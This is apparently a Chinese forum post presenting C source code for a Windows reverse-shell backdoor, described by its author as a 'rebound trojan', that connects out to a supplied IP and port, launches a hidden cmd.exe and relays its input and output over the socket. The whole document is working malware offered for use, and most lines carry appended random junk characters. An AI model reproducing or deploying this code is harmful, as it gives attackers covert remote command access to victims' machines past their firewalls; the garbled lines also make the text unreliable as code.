这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bmd3fJb`r
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/* ============================== yu98d1
Rebound port in Windows NT .8~zgpK
By wind,2006/7 PpWn+''M
===============================*/ +}Q@{@5w
#include D/<;9hw
#include 47
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#pragma comment(lib,"wsock32.lib") 4/+P7.}ea-
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void OutputShell(); =.9uuF:
SOCKET sClient; /)LI1\o
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IuOY.c2.u
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void main(int argc,char **argv) ZL^
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{ "<^]d~a_
WSADATA stWsaData; JQdeI+
int nRet; n| [RXpAp3
SOCKADDR_IN stSaiClient,stSaiServer; jv5Os-
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if(argc != 3) w}:&+B:
{ s<`54o ,
printf("Useage:\n\rRebound DestIP DestPort\n"); d2=Z=udd
return; TQiDbgFo
} {klyVb
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WSAStartup(MAKEWORD(2,2),&stWsaData); TxDzGC
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5IfyD ]<
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stSaiClient.sin_family = AF_INET; zSM;N^X 8?
stSaiClient.sin_port = htons(0); (Tbw@BFk
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hnp-x3
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) - )brq3L
{ se, 0Rvkt
printf("Bind Socket Failed!\n"); 7$/%c{o
return; idLCq^jnJ
} HyX:4f|]'
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stSaiServer.sin_family = AF_INET; -)dS`hM
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Lr ;PESV
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lMW4SRk1C
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |v?*}6:a
{ pQ/
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printf("Connect Error!"); :f|X$>
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return; _5l3e7YN
} w=K!U]
OutputShell(); " +n\0j;
} @!MhVNS_<
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void OutputShell() SeX:A)*ez%
{ gyx4= 'Q
char szBuff[1024]; ^V5g[XL2
SECURITY_ATTRIBUTES stSecurityAttributes; @b,&b6V
OSVERSIONINFO stOsversionInfo; JAA{5@ST
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Ei&
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STARTUPINFO stStartupInfo; [tEHr
char *szShell; %J%ZoptY:
PROCESS_INFORMATION stProcessInformation; o7B }~;L
unsigned long lBytesRead; LnY`f -H
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b( qO fek
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;;cPt44s
stSecurityAttributes.lpSecurityDescriptor = 0; Y#[>j4<T
stSecurityAttributes.bInheritHandle = TRUE; bo%v(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <z+b88D
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M(+;AS?;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]0yYMnqvr
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |fTWf}Jx
stStartupInfo.wShowWindow = SW_HIDE; 5Rc^5Nv
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~~D
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GetVersionEx(&stOsversionInfo); Tl2e?El;4
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switch(stOsversionInfo.dwPlatformId) ?5yj</W
{ gY=Ry=w9
case 1: JMa[Ulz
szShell = "command.com"; nL[zXl
break; W<"{d
default: us,1:@a)a
szShell = "cmd.exe"; yxpDQO~x
break; 7vf?#^RlV
} N)rf/E0
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $*Z Zh
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send(sClient,szMsg,77,0); ygz6 ~(
while(1) Q#$#VT!F
{ n$S`NNO{]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *gxo!F}
if(lBytesRead) pPX ~pPIj2
{ QoVRZ $!p
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FYtf<C+
send(sClient,szBuff,lBytesRead,0); EDkxRfY2/
} iNxuQ7~
else 6QC=:_M;
{ d|, B* N(w
lBytesRead=recv(sClient,szBuff,1024,0); ~.,h12
if(lBytesRead<=0) break; G',*"mZQ[
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ZO !
} ,*w
} BL&D|e
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return; ]XAJ|[]sj*
}